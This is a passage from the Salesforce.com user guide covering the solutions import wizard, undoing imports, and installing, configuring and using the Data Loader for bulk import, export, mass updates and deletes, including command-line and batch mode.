2. Click Import Now! to submit your import request to Salesforce.com.

Complete your import


1. A message indicates approximately how long the import will take. When the import operation is finished, a message from
Customer Support will be sent to the email address shown.
2. Click Finish to exit the wizard.
3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 369.

See Also:
Accessing the Import Wizards
What Is Imported for Custom Objects?
FAQ: Importing

331
Data Management Accessing the Import Wizards

Import My Organization's Solutions


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import solutions: “Import Solutions”

With the Import My Organization's Solutions wizard, you can import solutions.
Follow these steps to import solutions. Click each link for more details.

1. Launch the wizard


2. Choose the type of solution (multilingual solutions only)
3. Prevent duplicate records
4. Specify author and lookup relationships
5. Set lookup record matching
6. Select record type
7. Upload your import file
8. Map fields
9. Confirm and submit your import
10. Complete your import

Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup
of your organization.

Launch the wizard


1. To import solutions, choose Setup ➤ Data Management ➤ Import Solutions.
2. For best results, perform all of the steps provided on the introductory page.
3. Click Start the Import Wizard! to begin your import.

Choose the type of solution (multilingual solutions only)


1. If multilingual solutions is enabled for your organization, choose to import either master solutions or translated solutions.
You cannot import both at the same time.
For each translated solution you import, include the 15 to 18 character Solution ID field of its master solution in a
master solution ID column in your import file. This will help you avoid having to manually associate translated solutions
with master solutions after import. To view the Solution ID field for master solutions, run the Translated Solutions
report.
2. Select the language of the solutions you are importing from the Language drop-down list. For each import, you can only
select one language so make sure your import file includes solutions in a single language.

332
Data Management Accessing the Import Wizards

Prevent duplicate records


1. The import wizard can compare the records in your import file with existing records in Salesforce.com in order to prevent
duplicate records from being created as a result of your import. Indicate whether you would like to prevent duplicate records
from being created. You must select Yes in order to update existing records.
2. If you choose Yes, then additional choices will appear:
• Choose the field that you are using to match existing records in Salesforce.com with records in your import file. The
External ID option is disabled if no external ID fields have been created for your records.
• Choose what you want to happen if matches are found—only import new records, only update existing records, or
update existing records and import new ones.
Note: If you have chosen to match by Salesforce.com ID, you can only update existing records; you cannot
import new ones.

3. Click Next.

Specify author and lookup relationships


1. Solutions are associated with authors - the users who initially created the solutions. If you have included a column in your
import file to identify authors, specify the user field it contains.
When you choose “Name,” the following formats are valid:
• First name followed by last name
• Last name followed by first name
• Alias
• Username
For more information, see User Fields on page 52.
Choose None to specify yourself as the author of the imported solutions.
2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in
your import file, then check the corresponding boxes.
Note: Any related records must already exist in Salesforce.com before proceeding. Related records will not be
updated during your import even if your import file contains different values for fields on those related records.

3. Click Next.

Set lookup record matching


1. If you checked one or more lookup fields in the previous step, select the field (name or ID) you are using to uniquely
identify those related records.
2. Click Next.

Select record type


1. If the records you are importing have record types, then choose the record type that you want to assign to the records in
your import file.
2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record
types of existing records.
3. Click Next.

333
Data Management Accessing the Import Wizards

Upload your import file


1. Click Browse... to provide the location of your import file.
2. Choose the character encoding of your import file. In most cases, you can accept the default value.
3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered
and the language of the records in the import file.
4. Click Next.

Map fields
1. Map the fields in your import file to the appropriate Salesforce.com fields by matching the fields on the left, which includes
all the columns in your import file, with the appropriate Salesforce.com field on the right. If the column labels in your
import file exactly match field labels in Salesforce.com, the wizard automatically maps those fields for you. However, if
two or more of your file's column labels are identical matches with a field in Salesforce.com, you must map the fields
manually.
Note: Some Salesforce.com fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the
Salesforce.com fields in your file cannot be mapped.

2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.

Confirm and submit your import


1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve
potential problems.
2. Click Import Now! to submit your import request to Salesforce.com.

Complete your import


1. A message indicates approximately how long the import will take. When the import operation is finished, a message from
Customer Support will be sent to the email address shown.
2. Click Finish to exit the wizard.
3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 369.

See Also:
Accessing the Import Wizards

334
Data Management Undoing an Import

Undoing an Import
Available in: All Editions

User Permissions Needed


To mass delete data: “Modify All Data”

If you import accounts, contacts, leads, or solutions by mistake, your administrator can click Setup ➤ Data Management ➤
Mass Delete Records to delete the items you mistakenly imported. View the Using Mass Delete to Undo Imports document
for instructions.
The Mass Delete Records tools do not support custom objects. If you import custom objects by mistake in Enterprise,
Unlimited, or Developer Edition, your administrator can use the Data Loader to mass delete the mistakenly imported records.
See Performing Mass Deletes on page 345.

Data Loader Overview


Available in: Enterprise, Unlimited, and Developer Editions

The Data Loader is a client application for the bulk import or export of data. Use it to insert, update, delete, or extract
Salesforce.com records.
When importing data, the Data Loader reads, extracts, and loads data from comma separated values (CSV) files. When
exporting data, it outputs CSV files.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

The Data Loader offers the following key features:

• An easy-to-use wizard interface


• An alternate command line interface
• A batch mode interface with database connectivity
• Support for large files with up to millions of rows
• Drag-and-drop field mapping
• Support for all objects, including custom objects
• Detailed success and error log files in CSV format
• A built-in CSV file viewer
• Supported on Windows 2000 and Windows XP

To get started, see the following topics:

• Installing the Data Loader


• When to Use the Data Loader

335
Data Management When to Use the Data Loader

After you install the data loader, see the following topics:

• Configuring the Data Loader


• Inserting, Updating, or Deleting Data Using the Data Loader
• Exporting Data
• Using the Command Line Interface
• Running in Batch Mode

Note: In previous versions, the Data Loader has been known as the “AppExchange Data Loader“ and the “Sforce
Data Loader.”

When to Use the Data Loader


Available in: Enterprise, Unlimited, and Developer Editions

The Data Loader complements the web-based import wizards that are accessible from the Setup menu in the online application.
Refer to the following guidelines to determine which method of importing best suits your business needs:

Use the Data Loader when:


• You need to load 50,000 or more records.
• You need to load into an object that is not yet supported by web-based importing.
• You want to schedule regular data loads, such as nightly imports.
• You want to be able to save multiple mapping files for later use.
• You want to export your data for backup purposes.

Use Web-based importing when:


• You are loading less than 50,000 records.
• The object you need to import is supported by the web-based import wizards.
• You want to prevent duplicates by uploading records according to account name and site, contact email address, or lead
email address.

336
Data Management Installing the Data Loader

Installing the Data Loader


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To access the page to download the Data Loader: “Modify All Data”
To use the Data Loader: The appropriate user permission for the operation you are
doing, for example, “Create” on accounts to insert new
accounts

System Requirements
To use the Data Loader, you need:
• Windows 2000 or Windows XP.
You can run the Data Loader wizards or run the application from the command line.
• 90 MB free disk space.
• 256 MB available memory.
• Java JRE 1.5 or later.

Installation Procedure
Caution: Over time, multiple versions of the Data Loader client application have been available for download. Different
versions have different entries in the Add or Remove Programs dialog in your Windows Control Panel. Some versions
were released with earlier product names such as “AppExchange Data Loader” or “Sforce Data Loader.” You can run
different versions at the same time on one computer. However, if a particular version is installed on your computer, do
not install the same version again as long as that version is present.
The latest version is always available from Salesforce.com at Setup ➤ Data Management ➤ Data Loader. If you
have previously installed the latest version and want to install it again, first remove it from your computer by using the
Add or Remove Programs dialog in the Windows Control Panel.

1. In the online application, click Setup ➤ Data Management ➤ Data Loader.


2. Click Download the Data Loader and save the installer to your PC.
3. Double-click the downloaded file to launch the InstallShield wizard.
4. Click Next.
5. Accept the license agreement and click Next.
6. Accept the default installation directory, or click Change... to choose another directory. Click Next.
7. Click Install.
8. Click Finish.
9. To start the Data Loader, double-click the Data Loader icon on your desktop, or choose Start ➤ All Programs ➤
salesforce.com ➤ Data Loader ➤ Data Loader.

337
Data Management Configuring the Data Loader

Tip:
If you experience login issues in the command line interface after upgrading to a new version of the Data Loader,
please try re-encrypting your password to solve the problem. For information on the password encryption utility, see
Encrypting From the Command Line on page 365.

Logging In to the Data Loader


When logging in from an IP address that you have not used to access Salesforce.com before, your login is blocked until you
activate your current IP address. Salesforce.com automatically sends an activation email to the email address on your
Salesforce.com user record. The email contains an automatically-generated security key that you must add to the end of your
password in order to log in. For example, if your password is mypassword, and your security token is XXXXXXXXXX, you
must enter mypasswordXXXXXXXXXX to log in. For more information, see Setting Login Restrictions on page 175.

Configuring the Data Loader


Available in: Enterprise, Unlimited, and Developer Editions

Optionally, use the Settings menu to change the default operation settings of the Data Loader.

1. Start the Data Loader by choosing Start ➤ Programs ➤ salesforce.com ➤ Data Loader ➤ Data Loader.
2. Choose Settings ➤ Settings.
3. Edit the fields as desired:

Field Description
Batch Size In a single insert, update, upsert, or delete operation, records
moving to or from Salesforce.com are processed in
increments of this size. The maximum value is 200. We
recommend a value between 50 and 100.
The maximum value is 10,000 if the Use Bulk API for
Insert, Update, and Upsert option is selected.

Insert Null Values Enable this option to insert blank mapped values as null
values during data operations. Note that when you are
updating records, this option instructs the Data Loader to
overwrite any existing data in mapped fields.
This option is not available if the Use Bulk API for
Insert, Update, and Upsert option is selected.
Empty field values are ignored when you update records
using the Bulk API. To set a field value to null when the
Use Bulk API for Insert, Update, and Upsert
option is selected, use a field value of #N/A.

Assignment Rule Specify the ID of the assignment rule to use for inserts,
updates, and upserts. This option applies to inserts, updates,
and upserts on cases and leads. It also applies to updates on
accounts if your organization has territory assignment rules

338
Data Management Configuring the Data Loader

Field Description
on accounts. The assignment rule overrides Owner values
in your CSV file.
Server Host Enter the URL of the Salesforce.com server with which you
want to communicate. For example, if you are loading into
a sandbox, change the URL appropriately.
Reset URL on Login By default, Salesforce.com resets the URL after login to the
one specified in Server Host. To turn off this automatic
reset, disable this option.
Compression Compression enhances the performance of the Data Loader
and is turned on by default. You may want to disable
compression if you need to debug the underlying SOAP
messages. To turn off compression, enable this option.
Timeout Specify for how many seconds the Data Loader waits to
receive a response back from the server.
Query Request Size In a single export or query operation, records are returned
from Salesforce.com in increments of this size. The
maximum value is 2,000. Larger values may improve
performance, but use more memory on the client.
Generate success files for exports Select this option to generate a success file when exporting
data.
Read all CSVs with UTF-8 encoding This option forces files to open in UTF-8 encoding, even if
they were saved in a different format.
Write all CSVs with UTF-8 encoding This option forces files to be written in UTF-8 encoding.
Use European Date Format Select this option to support the date formats dd/MM/yyyy
and dd/MM/yyyy HH:mm:ss.
Allow field truncation Select this option to direct the Data Loader to truncate data
in the following types of fields when loading that data into
Salesforce.com: Email, Multi-select Picklist, Phone, Picklist,
Text, and Text (Encrypted).
In Data Loader versions 14.0 and earlier, values for fields of
those types are truncated by the Data Loader if they are too
large. In Data Loader version 15.0 and later, the load
operation fails if a value is specified that is too large.
Selecting this option allows you to specify that the previous
behavior, truncation, be used instead of the new behavior in
Data Loader versions 15.0 and later. This option is selected
by default and has no effect in versions 14.0 and earlier.
This option is not available if the Use Bulk API for
Insert, Update, and Upsert option is selected. In

339
Data Management Configuring the Data Loader to Use the Bulk API

Field Description
that case, the load operation fails for the row if a value is
specified that is too large for the field.

Use Bulk API for Insert, Update, and Upsert Select this option to use the Bulk API to insert, update, and
upsert records. The Bulk API is optimized to load a large
number of records asynchronously. It is faster than the
default SOAP-based API due to parallel processing and
fewer network round-trips.
Enable serial mode for Bulk API Select this option to use serial instead of parallel processing
for the Bulk API. Processing in parallel can cause database
contention. When this is severe, the load may fail. Using
serial mode guarantees that batches are processed one at a
time. Note that using this option may significantly increase
the processing time for a load.
This option is only available if the Use Bulk API for
Insert, Update, and Upsert option is selected.

Proxy Host The host name of the proxy server, if applicable.


Proxy Port The proxy server port.
Proxy Username The username for proxy server authentication.
Proxy Password The password for proxy server authentication.
Proxy NTLM domain The name of the Windows domain used for NTLM
authentication.
Start at row If your last operation failed, you can use this setting to begin
where the last successful operation finished.

4. Click OK to save your settings.

Configuring the Data Loader to Use the Bulk API


Available in: Enterprise, Unlimited, and Developer Editions

The Bulk API is optimized to load a large number of records asynchronously. It is faster than the SOAP-based API due to
parallel processing and fewer network round-trips. By default, Data Loader uses the SOAP-based API to process records.
To configure Data Loader to use the Bulk API for inserting, updating, and upserting records:

1. Start the Data Loader by choosing Start ➤ Programs ➤ salesforce.com ➤ Data Loader ➤ Data Loader.
2. Choose Settings ➤ Settings.
3. Select the Use Bulk API for Insert, Update, and Upsert option.
4. Click OK.

340
Data Management Inserting, Updating, or Deleting Data Using the Data Loader

Note: You can also select the Enable serial mode for Bulk API option. Processing in parallel can cause
database contention. When this is severe, the load may fail. Using serial mode guarantees that batches are processed
one at a time. Note that using this option may significantly increase the processing time for a load.

Data Loader Behavior with Bulk API Enabled


Available in: Enterprise, Unlimited, and Developer Editions

Enabling the Bulk API in Data Loader allows you to load a large number of records faster than using the default SOAP-based
API. However, there are some differences in behavior in Data Loader when you enable the Bulk API.
The following settings are not available on the Settings ➤ Settings page in Data Loader when the Use Bulk API for
Insert, Update, and Upsert option is selected:

Insert Null Values


This option enables Data Loader to insert blank mapped values as null values during data operations when the Bulk
API is disabled. Empty field values are ignored when you update records using the Bulk API. To set a field value to
null when the Use Bulk API for Insert, Update, and Upsert option is selected, use a field value of #N/A.

Allow field truncation


This option directs Data Loader to truncate data for certain field types when the Bulk API is disabled. A load operation
fails for the row if a value is specified that is too large for the field when the Use Bulk API for Insert, Update,
and Upsert option is selected.

Also, you can't use Data Loader and the Bulk API to upload attachments. To upload attachments, you must disable Use
Bulk API for Insert, Update, and Upsert on the Settings ➤ Settings page in Data Loader.

Inserting, Updating, or Deleting Data Using the Data


Loader
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To insert records: “Create” on the record
To update records: “Edit” on the record
To upsert records: “Create” or “Edit” on the record
To delete records: “Delete” on the record

The insert, update, upsert, and delete wizards in the Data Loader allow you to add new records, modify existing records, or
delete existing records. Note that “upsert” is a combination of inserting and updating - if a record in your file matches an

341
Data Management Inserting, Updating, or Deleting Data Using the Data Loader

existing record, the existing record is updated with the values in your file. If no match is found, then the record is created as
new.

1. Start the Data Loader by choosing Start ➤ Programs ➤ salesforce.com ➤ Data Loader ➤ Data Loader.
2. Click Insert, Update, Upsert, or Delete. These commands can also be found in the File menu.
3. Enter your Salesforce.com username and password. Click Log in to log in. After your login completes successfully, click
Next. (Until you log out or close the program, you are not asked to log in again.)
When logging in from an IP address that you have not used to access Salesforce.com before, your login is blocked until
you activate your current IP address. Salesforce.com automatically sends an activation email to the email address on your
Salesforce.com user record. The email contains an automatically-generated security key that you must add to the end of
your password in order to log in. For example, if your password is mypassword, and your security token is XXXXXXXXXX,
you must enter mypasswordXXXXXXXXXX to log in. For more information, see Setting Login Restrictions on page 175.
4. Choose an object. If your object name does not display in the default list, check Show all objects to see a complete
list of the objects that you can access. The objects is listed by localized label name, with developer name noted in parentheses.
For object descriptions, see the Force.com Web Services Developer's Guide.
5. Click Browse... to select your CSV file.
6. Click Next. After the object and CSV file are initialized, click OK.
7. If you are performing an upsert:

a. Your CSV file must contain a column of ID values for matching against existing records. The column may be either
an external ID (a custom field with the “External ID” attribute), or Id (the Salesforce.com record ID). From the
drop-down list, select which field to use for matching. If the object has no external ID fields, Id is automatically used.
For more information on external IDs, see Custom Field Attributes on page 445. Click Next to continue.
b. If your file includes the external IDs of an object that has a relationship to your chosen object, enable that external ID
for record matching by selecting its name from the drop-down list. If you make no selection here, you can use the
related object's Id field for matching by mapping it in the next step. Click Next to continue.

8. Define how the columns in your CSV file map to Salesforce.com fields. Click Choose an Existing Map to select an existing
field mapping, or click Create or Edit a Map to create a new map or modify an existing map. For more details, see Defining
Field Mappings on page 348.
9. Click Next.
10. For every operation, the Data Loader generates two unique CSV log files; one file name starts with “success,” while the
other starts with “error.” Click Browse... to specify a directory for these files.
11. Click Finish to perform the operation, and then click Yes to confirm.
12. As the operation proceeds, a progress information window reports the status of the data movement.
13. After the operation completes, a confirmation window summarizes your results. Click View Successes to view your success
file, click View Errors to open your errors file, or click OK to close. For more information, see Reviewing Output Files
on page 349.

Tip:

• If you are updating or deleting large amounts of data, review Performing Mass Updates and Performing Mass
Deletes for tips and best practices.
• There is a 10-minute limit for loading a file and a five-minute limit to process 100 records when the Bulk API is
enabled. If you get a timeout error when loading a file, split your file into smaller files, and try again.

342
Data Management Inserting, Updating, or Deleting Data Using the Data Loader

Importing Attachments with the Data Loader


You can use the Data Loader to import attachments to Salesforce.com.

1. Verify that Use Bulk API for Insert, Update, and Upsert on the Settings ➤ Settings page is disabled. This
setting enables the Bulk API, which is optimized for loading large sets of data, but does not support importing attachments.
2. If you are migrating attachments from a source Salesforce.com organization to a target Salesforce.com organization, begin
by requesting a weekly data export for the source organization. On the Schedule Export page, make sure to select the
Include Attachments... checkbox, which causes the file Attachment.csv to be included in your export. You can
use that file in the next step. For more information on the weekly export service, see Exporting Backup Data on page 251.
3. Confirm that the CSV file you intend to use for attachment importing contains the following columns (each column
represents a Salesforce.com field):

• ParentId - the Salesforce.com ID of the parent record.


• Name - the name of the attachment file, such as myattachment.jpg.
• IsPrivate - “0” if the attachment is not private; “1” if it is private.
• OwnerId - the Salesforce.com ID of the record owner.
• Body - the Salesforce.com ID of the attachment.

4. Edit the values in the Body column so they contain the full file name of the attachments as they exist on your computer.
For example, if an attachment with the ID 123456789 is located on your computer at C:\Export, then set the value as
C:\Export\123456789. For reference, see this sample CSV file.
5. Proceed with an insert or upsert operation; see Inserting, Updating, or Deleting Data Using the Data Loader on page 341.
At the Select data objects step, make sure to select the Show all Salesforce.com objects checkbox and
the Attachment object name in the list.

Note: If your CSV file includes a column of attachment ID values, you can use a Microsoft Excel formula field to
prepend the directory path in front of the ID value.

Uploading Content with the Data Loader


Available in: Enterprise, Unlimited, and Developer Editions

You can use the Data Loader to bulk upload documents and links into workspaces in Salesforce CRM Content. Before
uploading documents or links, note the following:

• You can't upload documents when the Bulk API is enabled. The Use Bulk API for Insert, Update, and
Upsert setting must be disabled.
• When you upload a document from your local drive using the Data Loader, you must specify the actual path in both
VersionData and PathOnClient. VersionData identifies the location and extracts the format and PathOnClient
identifies the type of document being uploaded.
• When you upload a link using the Data Loader, you must specify the URL in ContentUrl. Do not use PathOnClient
or VersionData to upload links.

1. Create a CSV file with the following fields:

343
Data Management Inserting, Updating, or Deleting Data Using the Data Loader

• Title - file name.


• Description - (optional) file or link description.

Note: If there are commas in the description, use double quotes around the text.

• VersionData - complete file path on your local drive (for uploading documents only).

Note: Files are converted to base64 encoding on upload. This adds approximately 30% to the file size.

• PathOnClient - complete file path on your local drive (for uploading documents only).
• ContentUrl - URL (for uploading links only).
• OwnerId - (optional) file owner, defaults to the user uploading the file.
• FirstPublishLocationId - workspace ID.
• RecordTypeId - content type ID.

Note: If you publish to a workspace that has restricted content types, you must specify RecordTypeId.

Use the AJAX Toolkit to determine the RecordTypeId values in your organization:

a. Log in to Salesforce.com.
b. Enter this URL in your browser:
http://instanceName.salesforce.com/soap/ajax/17.0/debugshell.html. Enter the instanceName,
such as na1, for your organization. You can see the instanceName in the URL field of your browser after logging
in to Salesforce.com.
c. In the AJAX Toolkit Shell page type:

sforce.connection.describeSObject ("ContentVersion")

d. Press Enter.
e. Click on the arrows for recordTypeInfos.
All of the RecordTypeId values for your organization are listed.

• TagsCsv - (optional) tag.

A sample CSV file is:

Title,Description,VersionData,PathOnClient,OwnerId,FirstPublishLocationId,RecordTypeId,TagsCsv
testfile,"This is a test file, use for bulk
upload",c:\files\testfile.pdf,c:\files\testfile.pdf,005000000000000,058700000004Cd0,012300000008o2sAQG,one

2. Upload the CSV file for the ContentVersion object; see Inserting, Updating, or Deleting Data Using the Data Loader on
page 341. All documents and links will be available in the specified workspace.

344
Data Management Exporting Data

Performing Mass Updates


Available in: Enterprise, Unlimited, and Developer Editions

To update a large number of records at one time, we recommend the following steps:

1. Obtain your data by performing an export of the objects you wish to update, or by running a report. See Exporting Data
on page 345, or Running Reports on page 1893. Make sure your report includes the record ID.
2. As a backup measure, save an extra copy of the generated CSV file.
3. Open your working file in a CSV editor such as Excel, and update your data.
4. Launch the Data Loader and follow the update wizard. Note that matching is done according to record ID. See Inserting,
Updating, or Deleting Data Using the Data Loader on page 341.
5. After the operation, review your success and error log files. See Reviewing Output Files on page 349.
6. If you made a mistake, use the backup file to update the records to their previous values.

Performing Mass Deletes


Available in: Enterprise, Unlimited, and Developer Editions

To delete a large number of records at one time using the Data Loader, we recommend the following steps:

1. As a backup measure, export the objects you wish to delete, being sure to select all fields. (See Exporting Data on page
345.) Save an extra copy of the generated CSV file.
2. Next, export the objects you wish to delete, this time using only the record ID as the desired criteria.
3. Launch the Data Loader and follow the delete wizard. Map only the ID column. See Inserting, Updating, or Deleting
Data Using the Data Loader on page 341.
4. After the operation, review your success and error log files. See Reviewing Output Files on page 349.

Exporting Data
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To export records: “Read” on the records

You can use the Data Loader export wizard to extract data from any Salesforce.com object.

1. Start the Data Loader by choosing Start ➤ Programs ➤ salesforce.com ➤ Data Loader ➤ Data Loader.
2. Click Export. This command can also be found in the File menu.

345
Data Management Exporting Data

3. Enter your Salesforce.com username and password. Click Log in to log in. After your login completes successfully, click
Next. (Until you log out or close the program, you will not be asked to log in again.)
When logging in from an IP address that you have not used to access Salesforce.com before, your login is blocked until
you activate your current IP address. Salesforce.com automatically sends an activation email to the email address on your
Salesforce.com user record. The email contains an automatically-generated security key that you must add to the end of
your password in order to log in. For example, if your password is mypassword, and your security token is XXXXXXXXXX,
you must enter mypasswordXXXXXXXXXX to log in. For more information, see Setting Login Restrictions on page 175.
4. Choose an object. If your object name does not display in the default list, check Show all objects to see a complete
list of objects that you can access. The objects will be listed by localized label name, with developer name noted in parentheses.
For object descriptions, see the Force.com Web Services Developer’s Guide.
5. Click Browse... to select the CSV file to which the data will be exported. You can enter a new file name to create a new
file or choose an existing file.
If you select an existing file, the contents of that file are replaced. Click Yes to confirm this action, or click No to choose
another file.
6. Click Next.
7. Create a SOQL query for the data export. SOQL is the Salesforce.com Object Query Language that allows you to construct
simple but powerful query strings. Similar to the SELECT command in SQL, SOQL allows you to specify the source
object (such as account), a list of fields to retrieve, and conditions for selecting rows in the source object.

a. Choose the fields you want to export.


b. Optionally, select conditions to filter your data set. If you do not select any conditions, all the data to which you have
read access will be returned.
c. Review the generated query and edit if necessary.

Tip: You can use a SOQL relationship query to include fields from a related object. For example:

Select Name, Pricebook2Id, Pricebook2.Name, Product2Id, Product2.ProductCode FROM


PricebookEntry WHERE IsActive = true

Or:

Select Id, LastName, Account.Name FROM Contact

When using relationship queries in the Data Loader, the fully specified field names are case-sensitive. In the
example above, using ACCOUNT.NAME instead of Account.Name does not work.
The Data Loader does not support nested queries or querying child objects. For example, queries similar to the
following return an error:

SELECT Amount, Id, Name, (SELECT Quantity, ListPrice,


PriceBookEntry.UnitPrice, PricebookEntry.Name,
PricebookEntry.product2.Family FROM OpportunityLineItems)
FROM Opportunity

Data Loader does support querying parents. For example, you can query the ID of account records that are the
parents of contact records:

SELECT , Id, Account.Id, CreatedById from Contact

For more information on SOQL, see the Force.com Web Services Developer’s Guide.

346
Data Management Data Types Supported by the Data Loader

8. Click Finish, then click Yes to confirm.


9. As the operation proceeds, a progress information window reports the status of the data movement.
10. After the operation completes, a confirmation window summarizes your results. Click View Extraction to view the CSV
file, or click OK to close. For more details, see Reviewing Output Files on page 349.

Note: The Data Loader currently does not support the extraction of attachments. As a workaround, we recommend
that you use the weekly export feature in the online application to export attachments.

Data Types Supported by the Data Loader


Available in: Enterprise, Unlimited, and Developer Editions

The Data Loader supports the following data types:


Base64
String path to file (converts the file to the base64 array)

Boolean

• True values (case insensitive) = “yes”, “y”, “true”, “on”, “1”


• False values (case insensitive) = “no”, “n”, “false”, “off ”, “0”

Date Formats

We recommend you specify dates in the format yyyy-MM-ddTHH:mm:ss.SSS+/-HHmm:

• yyyy is the four-digit year


• MM is the two-digit month (01-12)
• dd is the two-digit day (01-31)
• HH is the two-digit hour (00-23)
• mm is the two-digit minute (00-59)
• ss is the two-digit seconds (00-59)
• SSS is the three-digit milliseconds (000-999)
• +/-HHmm is the Zulu (UTC) time zone offset

The following date formats are also supported:

• yyyy-MM-dd'T'HH:mm:ss.SSS'Z'
• yyyy-MM-dd'T'HH:mm:ss.SSS Pacific Standard Time
• yyyy-MM-dd'T'HH:mm:ss.SSSPacific Standard Time
• yyyy-MM-dd'T'HH:mm:ss.SSS PST
• yyyy-MM-dd'T'HH:mm:ss.SSSPST
• yyyy-MM-dd'T'HH:mm:ss.SSS GMT-08:00
• yyyy-MM-dd'T'HH:mm:ss.SSSGMT-08:00
• yyyy-MM-dd'T'HH:mm:ss.SSS -800
• yyyy-MM-dd'T'HH:mm:ss.SSS-800

347
Data Management Defining Field Mappings

• yyyy-MM-dd'T'HH:mm:ss
• yyyy-MM-dd HH:mm:ss
• yyyyMMdd'T'HH:mm:ss
• yyyy-MM-dd
• MM/dd/yyyy HH:mm:ss
• MM/dd/yyyy

Note the following tips for date formats:

• To enable date formats that begin with the day rather than the month, select the Use European date format
box in the Settings dialog of the user interface. European date formats aredd/MM/yyyy and dd/MM/yyyy HH:mm:ss.
• If your computer's locale is east of Greenwich Mean Time (GMT), we recommend that you change your computer
setting to GMT in order to avoid date adjustments when inserting or updating records. A knowledge base solution
for this issue is available in the Salesforce.com Help & Training window; search for “data loader date.”
• Only dates within a certain range are valid. The earliest valid date is 1700-01-01T00:00:00Z GMT, or just after
midnight on January 1, 1700. The latest valid date is 4000-12-31T00:00:00Z GMT, or just after midnight on
December 31, 4000.
Note: These values are offset by your timezone. For example, in the Pacific timezone, the earliest valid date
is 1699-12-31T16:00:00, or 4:00 PM on December 31, 1699.

Double
Standard double string

ID
A Salesforce.com ID is a case-sensitive 15-character or 18-character alphanumeric string that uniquely identifies a
particular record.
Tip: To ensure data quality, make sure that all Salesforce.com IDs you enter in the Data Loader are in the
correct case.

Integer
Standard integer string

String
All valid XML strings; invalid XML characters are removed.

Defining Field Mappings


Available in: Enterprise, Unlimited, and Developer Editions

At the Mapping Dialog window of the Data Loader, you associate Salesforce.com fields with the columns of your CSV file.

348
Data Management Reviewing Output Files

1. To automatically match fields with columns, click Auto-Match Fields to Columns. The Data Loader automatically
populates the list at the bottom of the window, based on the similarity of field and column names. Note that for a delete
operation, automatic matching works only on the ID field.
2. To manually match fields with columns, click and drag fields from the list of Salesforce.com fields at the top to the list of
CSV column header names at the bottom.
3. Optionally, click Save Mapping to save this mapping for future use. Specify a name for the SDL file.
If you select an existing file, the contents of that file are replaced. Click Yes to confirm this action, or click No to choose
another file.
4. Click OK to use your mapping for the current operation.

Reviewing Output Files


Available in: Enterprise, Unlimited, and Developer Editions

After every import or export, the Data Loader generates two unique CSV output files. One file name starts with “success,”
while the other starts with “error.” During every export, the Data Loader saves extracted data to a CSV file that you specify
in the wizard. The Data Loader has a built-in CSV file viewer with which you can open these files.
To view output files from a Data Loader operation:

1. Choose View CSV from the View menu of the Data Loader.
2. Specify a number of rows to view. Each row in the CSV file corresponds to one Salesforce.com record. The default is 1000.
3. To view a CSV file of your choice, click Open CSV. To view the last success file, click Open Success. To view the last
error file, click Open Error.
4. The CSV file opens in a new window. Optionally, click Open in External Program to open the file in the associated
external program, such as Microsoft® Office Excel.
The “success” file contains all records that were successfully loaded. In it, there is a column for newly generated record IDs.
The “error” file contains all records that were rejected from the load operation. In it, there is a column that describes why
the load failed.
5. Click Close to return to the CSV Chooser window, and then click OK to exit the window.

Using the Command Line Interface


Available in: Enterprise, Unlimited, and Developer Editions

For operations such as nightly scheduled loads and extractions, you may prefer to run Data Loader from the command line.
From the command line, the following calls are supported:

• java –jar DataLoader.jar


• com.salesforce.lexiloader.process.ProcessRunner with DataLoader.jar in the classpath

Type -help at the command line to view tips and instructions.


You can set the following option:

349
Data Management Running in Batch Mode

-Dsalesforce.config.dir=CONFIG_DIRECTORY
The Data Loader runs whatever operation, file, or map is specified in the configuration file that you specify. If you do not
specify a configuration directory, the current directory is used. By default, Data Loader configuration files are installed at the
following location:
C:\Program Files\salesforce.com\Data Loader version number\conf

The batch process configuration file is process-conf.xml. If you use process-conf.xml, setting process.name to
the name of a process specifies a process to run. Otherwise, the config.properties file is used for parameter settings. For
more information on batch mode, see Running in Batch Mode on page 350.
If you want to implement enhanced logging, use a copy of log-conf.xml.
You can change parameters at runtime by giving param=value as program arguments. For example:
java -Xms256m -Xmx256m -Dsalesforce.config.dir=c:\config –jar DataLoader.jar
process.operation=insert

where process.operation=insert changes the configuration at runtime.


Note: These topics only apply to version 8.0 and later. If you have an earlier version of the Data Loader, see the
following blog post for command line instructions: http://blog.sforce.com/sforce/2005/06/sforce_data_loa.html

Tip:
If you experience login issues in the command line interface after upgrading to a new version of the Data Loader,
please try re-encrypting your password to solve the problem. For information on the password encryption utility, see
Encrypting From the Command Line on page 365.

Running in Batch Mode


You can run the Data Loader in batch mode from the command line. See the following topics:

• Understanding Installed Directories and Files


• Spring Framework Overview
• Running Individual Batch Processes
• Configuring Batch Processes
• Configuring Database Access
• SQL Configuration
• Mapping Columns
• Data Loader Command Line Operations
• Data Access Objects
• Encrypting From the Command Line

Note: If you have used the batch mode from the command line with a version earlier than 8.0, see Upgrading Your
Batch Mode Interface on page 351.

350
Data Management Running in Batch Mode

Upgrading Your Batch Mode Interface


The batch mode interface in versions 8.0 and later of the Data Loader are not backwards-compatible with earlier versions. If
you are using a version earlier than 8.0 to run batch processes, your options are as follows:
Maintain the old version for batch use
Do not uninstall your old version of the Data Loader. Continue to use that version for batch processes. You cannot take
advantage of newer features such as database connectivity, but your integrations will continue to work. Optionally, install
the new version alongside the old version and dedicate the old version solely to batch processes.

Generate a new config.properties file from the new GUI


If you originally generated your config.properties file from the graphical user interface, use the new version to set
the same properties and generate a new file. Use this new file with the new batch mode interface. For more information,
see Running in Batch Mode on page 350.

Manually update your config.properties file


If your old config.properties file was created manually, then you must manually update it for the new version. For
more information, see Understanding Installed Directories and Files on page 351.

Understanding Installed Directories and Files


In versions 8.0 and later, installing the Data Loader creates several directories under the installation directory. The following
